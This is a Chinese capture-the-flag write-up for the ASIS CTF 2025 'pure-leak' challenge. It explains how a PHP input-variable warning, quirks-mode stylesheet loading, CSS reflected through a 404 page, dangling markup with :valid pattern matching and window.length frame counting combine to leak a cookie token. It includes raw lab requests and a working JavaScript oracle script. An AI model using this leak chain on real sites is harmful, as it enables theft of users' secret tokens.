当前位置: 首页 > news >正文

基于错误xsleak 悬空标记 运用css利用帧计数 -- Pure leak ASIS CTF 2025

基于错误xsleak 悬空标记 运用css利用帧计数 -- Pure leak ASIS CTF 2025

官方wp

https://blog.arkark.dev/2025/09/08/asisctf-quals

entrypoint.sh

#!/bin/sh
set -eu
# load balancing
php -S 127.0.0.1:9000 &
php -S 127.0.0.1:9001 &
php -S 127.0.0.1:9002 &
php -S 127.0.0.1:9003 &
cat > /tmp/Caddyfile << EOF
:3000 {
header {
defer
Content-Security-Policy "script-src 'none'; default-src 'self'; base-uri 'none'"
}
reverse_proxy 127.0.0.1:9000 127.0.0.1:9001 127.0.0.1:9002 127.0.0.1:9003 {
replace_status 200
}
}
EOF
exec caddy run --config /tmp/Caddyfile

index.php

<?php
// 校验输入内容的函数
function validate(mixed $input): string {
// 检查输入是否为字符串类型
if (!is_string($input)) return "Invalid types";
// 检查字符串长度是否超过1024
if (strlen($input) >
1024) return "Too long";
// 检查是否包含非可打印ASCII字符(允许回车和换行)
if (preg_match('/[^\x20-\x7E\r\n]/', $input)) return "Invalid characters";
// 检查是否包含敏感关键字或特殊字符
if (preg_match('*http|data|\\\\|\*|\[|\]|&|%|@|//*i', $input)) return "Invalid keywords";
// 返回原始输入
return $input;
}
?>
<
!DOCTYPE html>
<html><body><h1>pure-leak </h1><h3>Source</h3><!-- 显示当前文件的源码,使用htmlspecialchars防止XSS --><pre><?php echo htmlspecialchars(file_get_contents(__FILE__));?></pre><h3>Content</h3><!-- 显示经过validate函数校验后的GET参数content内容 --><?php echo validate($_GET["content"] ?? "{{ your_input }}")."\n";?><h3>Token</h3><!-- 显示TOKEN的cookie值,若不存在则显示默认值 --><?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef");?><h3>Usage</h3><!-- 提供一个示例链接 --><a href="/?content=your_input">/?content=your_input</a></body></html>

part 1 PHP Error

当您向一个 PHP 脚本发起请求(GET 或 POST),并且请求中的参数总数超过 max_input_vars 指令的限制时,PHP 就会产生一条 E_WARNING 级别的错误信息。如果服务器配置为显示错误(通常在开发环境),这个警告就会直接输出到响应体的开头。

GET http://192.168.124.6:3000/?a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1 HTTP/1.1
Host: 192.168.124.6:3000
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwty0sKhDAQBcC79NqAMRk0XkY6vhZs8IOJiIh312FmW1AX7Um2bgS1NDiOgnIwve-d8U0DE1GVRmprrYuoPz5S8Qv5XOUtKe-QOf915umLUIQxVKpgDceSWBem-wHiJiIu.aMfw-Q.PKDKgR88kzUfT_UtkxwAr0Vcfg8
Connection: keep-alive
HTTP/1.1 200 OK
Connection: close
Content-Security-Policy: script-src 'none'; default-src 'self'; base-uri 'none'
Content-Type: text/html; charset=UTF-8
Date: Mon, 15 Sep 2025 13:58:07 GMT
Host: 192.168.124.6:3000
Via: 1.1 Caddy
X-Powered-By: PHP/8.3.24
Content-Length: 2250
<br />
<b>Warning</b>: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in <b>Unknown</b> on line <b>0</b><br />
<!DOCTYPE html>
<html>...

part 2 Quirks Mode

浏览器为兼容早期非标准网页而启用的一套历史渲染与解析行为。当文档未正确声明标准 DOCTYPE,或在 DOCTYPE 之前已有任何字节输出(如服务器警告文本),浏览器会进入 Quirks Mode。此时 document.compatMode === "BackCompat";标准模式为 "CSS1Compat"

标准模式下:<link rel="stylesheet"> 仅在响应 Content-Type: text/css 时当作样式表处理。

Quirks Mode 下(仅限同源):即使响应类型不是 text/css,也必须把其当作 CSS 解析。这是规范中特意标注的“Quirk”例外,用于兼容旧站点。参考:WHATWG HTML 规范(stylesheet 链接的处理流程与“Quirk”说明)

https://html.spec.whatwg.org/multipage/links.html#link-type-stylesheet


Quirk: If the document has been set to quirks mode, has the same origin as the URL of the external resource, and the Content-Type metadata of the external resource is not a supported style sheet type, the user agent must instead assume it to be .[text/css](https://html.spec.whatwg.org/multipage/indices.html#text/css)

The linked resource fetch setup steps for this type of linked resource, given a element and request , are:[link](https://html.spec.whatwg.org/multipage/semantics.html#the-link-element)elrequest

  1. If 's attribute is set, then return false.el[disabled](https://html.spec.whatwg.org/multipage/semantics.html#attr-link-disabled)

  2. If contributes a script-blocking style sheet, append to its node document’s script-blocking style sheet set.elel

  3. If 's attribute’s value matches the environment and is potentially render-blocking, then block rendering on .el[media](https://html.spec.whatwg.org/multipage/semantics.html#attr-link-media)elel

  4. If is currently render-blocking, then set 's render-blocking to true.elrequest

  5. Return true.

See issue #968 for plans to use the CSSOM fetch a CSS style sheet algorithm instead of the default fetch and process the linked resource algorithm. In the meantime, any critical subresourcerequest should have its render-blocking set to whether or not the element is currently render-blocking.[link](https://html.spec.whatwg.org/multipage/semantics.html#the-link-element)


part 3 use 404!

content 的注入点之前页面里已有 /*,而校验又禁止 *,无法写 */ 关掉注释。PHP 内置服务器的 404 页面会把“请求的 URL”原样插进响应体里。把 CSS 写进查询串,404 页就会把这段 CSS 放进正文,而且不在任何注释里。

GET http://192.168.124.6:3000/tere_you_payload.php HTTP/1.1
Host: 192.168.124.6:3000
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwty0sKhDAQBcC79NqAMRk0XkY6vhZs8IOJiIh312FmW1AX7Um2bgS1NDiOgnIwve-d8U0DE1GVRmprrYuoPz5S8Qv5XOUtKe-QOf915umLUIQxVKpgDceSWBem-wHiJiIu.aMfw-Q.PKDKgR88kzUfT_UtkxwAr0Vcfg8
Connection: keep-alive
HTTP/1.1 200 OK
Connection: close
Content-Length: 553
Content-Security-Policy: script-src 'none'; default-src 'self'; base-uri 'none'
Content-Type: text/html; charset=UTF-8
Date: Mon, 15 Sep 2025 14:45:57 GMT
Host: 192.168.124.6:3000
Via: 1.1 Caddy
404 Not Found
body { background-color: #fcfcfc; color: #333333; margin: 0; padding:0; }
h1 { font-size: 1.5em; font-weight: normal; background-color: #9999cc; min-height:2em; line-height:2em; border-bottom: 1px inset black; margin: 0; }
h1, p { padding-left: 10px; }
code.url { background-color: #eeeeee; font-family:monospace; padding:0 2px;}
Not FoundThe requested resource /tere_you_payload.php

part 4 悬空标记

因为csp,我们无法使用选择器外带token

:valid - CSS | MDN

但是有一个可用的 :valid 属性

<style>label {display: block;margin-top: 1em;}input:valid {background-color: ivory;border: none;outline: 2px solid deepskyblue;border-radius: 5px;accent-color: gold;}
</style>
<form>
<label for="email">Email Address:</label><input id="email" name="email" type="email" value="na@me@example.com" />
<label for="secret">Secret Code: (lower case letters)</label><input id="secret" name="secret" type="text" value="test" pattern="[a-z]+" />
<label for="age">Your age: (18+)</label><input id="age" name="age" type="number" value="5" min="18" /><label><input name="tos" type="checkbox" required checked /> - Do you agree toToS?</label>
</form>

当 value 中包含 TOKEN_012 时,input:valid 为真,父 div 背景变绿;否则不变。

<link href="/tere_you_payload.php?{}div:has(input:valid){background:limegreen}" rel="stylesheet"><div><input pattern=".+TOKEN_012.+" value="
<link href="/tere_you_payload.php?{}div:has(input:valid){background:limegreen}" rel="stylesheet"><div> <input pattern=". TOKEN_012. " value="&lt;h3&gt;Token&lt;/h3&gt;&lt;!-- 显示TOKEN的cookie值,若不存在则显示默认值 --&gt;TOKEN_0123456789abcdef &lt;h3&gt;Usage&lt;/h3&gt;&lt;!-- 提供一个示例链接 --&gt;&lt;a href=" ?content="your_input&quot;">/?content=your_input</div>

part 5 帧计数

帧计数 |XS-Leaks 维基

window.length

**window.length 表示当前窗口中“子浏览上下文”的数量,即 frame/iframe 的个数。等同于 window.frames.length。如果页面没有任何 frame/iframe,它就是 0。

<iframe src="a.html"></iframe>
<iframe src="b.html"></iframe>
<script>console.log(window.length);// 2for (let i = 0; i < window.length; i++) {console.log(window.frames[i].location.href);}
</script>

示例

  • window.length 计数对象:只计算当前窗口中“直接子”浏览上下文(frame/iframe/object/embed 等会创建 NBC 的元素)。
  • <object type="text/html"> 的特性:当元素参与渲染时,浏览器会为其实例化一个嵌套浏览上下文;如果在它被构造/布局前就处于 display:none,通常不会实例化该上下文。
<!doctype html><meta charset="utf-8"><title>用解析阶段样式门控 NBC 创建</title><button id="hit">命中(length 预期 0)</button><button id="miss">未命中(length 预期 1)</button><pre id="log"></pre><script>// 简单日志(中文注释,不改动代码逻辑)function log(...args) {document.getElementById('log').textContent += args.join(' ') + '\n';console.log(...args);}const sleep = ms =>new Promise(r =>setTimeout(r, ms));// 打开同源子窗口,便于读取 win.lengthconst win = open('about:blank', '_blank');async function render({ value}) {// 整体重写新文档:样式在前,元素在后,让样式在解析阶段就生效const html = `<!doctype html><meta charset="utf-8"><style>/* 命中 :valid 时,整个容器 display:none,从而阻止 <object> 创建 NBC */div:has(input:valid) { display: none; }</style><div id="box"><object data="about:blank" type="text/html" width="200" height="100"></object><input pattern="ABC" value="${value}"></div>`;win.document.open();win.document.write(html);win.document.close();// 等待创建/不创建完成后再读计数await sleep(150);log('win.length =', win.length);}document.getElementById('hit').onclick = () =>render({ value: 'ABC'});// 命中 :valid → 0document.getElementById('miss').onclick = () =>render({ value: 'ABD'});// 未命中 → 1</script>
  • 解析顺序关键点
    1. win.document.open()/write()/close() 将子窗口导航到全新文档;
    2. 这份文档里把 <style> 放在元素前,CSS 在解析时同步生效;
    3. 规则 div:has(input:valid){display:none} 若命中,会让包含 <object> 的父 div 直接变为 display:none
    4. 因为父容器在构建阶段即为 display:none,其中的 <object> 不会被实例化为活动的嵌入内容,自然也就不会创建 NBC;
    5. 最终读取 win.length:命中则为 0,未命中则 <object> 创建 NBC,变为 1。
  • 命中条件来源<input pattern="ABC" value="${value}"> 与伪类 :valid。当 value"ABC" 时命中 :validdiv 被隐藏;否则不隐藏。
  • 为什么需要 await sleep(150):给浏览器一个短暂窗口完成(或不完成)NBC 实例化,避免竞态导致读数抖动。

通过这个原理写出

<script>const sleep = (ms) =>new Promise(r =>setTimeout(r, ms));const win = open("");const match = async (pattern) =>{const BASE_URL = "http://192.168.124.6:3000";win.location = "about:blank";await sleep(100);const content = `<link href="/not-found.txt?{}div:has(input:valid){display:none}" rel="stylesheet"><div><embed src="about:blank" type="text/html"><input pattern=".+${pattern}.+" value="`;const url = `${BASE_URL}?content=${encodeURIComponent(content)}${"&a".repeat(1000)}`;win.location = url;await sleep(100);return win.length === 0;};(async () =>{const result = await match("TOKEN_123");console.log(result);})();</script>

QEF

#xss #帧计数 #悬空标记 #xs-leak基于错误的

http://www.wxhsa.cn/company.asp?id=6891

相关文章:

  • 网易伏羲:当算法遇见社交,解码游戏世界的连接密码
  • 在 CentOS 7 上安装Nginx和配置http代理
  • 题解:P2624 [HNOI2008] 明明的烦恼
  • 在AI技术快速实现创想的时代,挖掘新需求成为核心竞争力——某知名DevOps学习平台需求洞察
  • Windows Powershell 获取版本version
  • XXL-JOB (1)
  • 记录---Vue3对接UE,通过MQTT完成通讯
  • 《Real-Time Rendering》第一章 介绍
  • C语言基础
  • 公益站Agent Router注册送200刀额度竟然是真的
  • 数据集中valid的作用
  • 深入 RocketMQ 核心源码:从环境搭建到高可用设计的全方位解析
  • 单例模式
  • apache修改默认位置
  • 实用指南:YOLOv11的旋转目标检测改进-(扩展检测头支持旋转框预测,适配遥感场景)
  • 从零到顶会:NLP科研实战手册 - 实践
  • 肝不好能喝酒吗
  • ROS中如何将日志格式设置为行号的形式
  • USB相关的sysfs文件(重要的)【转】
  • 25上第一周
  • 深入解析:RxJava在Android中的应用
  • 模型选择与配置说明
  • 梯度下降算法
  • 002_文本分类任务的问答
  • 车牌识别
  • 告别人工标注瓶颈!Reward-RAG:用 CriticGPT 打造更懂人类偏好的检索模型
  • Latex 中百分号怎么打
  • 文件上传-条件竞争绕过
  • 文件包含漏洞
  • 9.17 CSP-S模拟23/多校A层冲刺NOIP2024模拟赛19 改题记录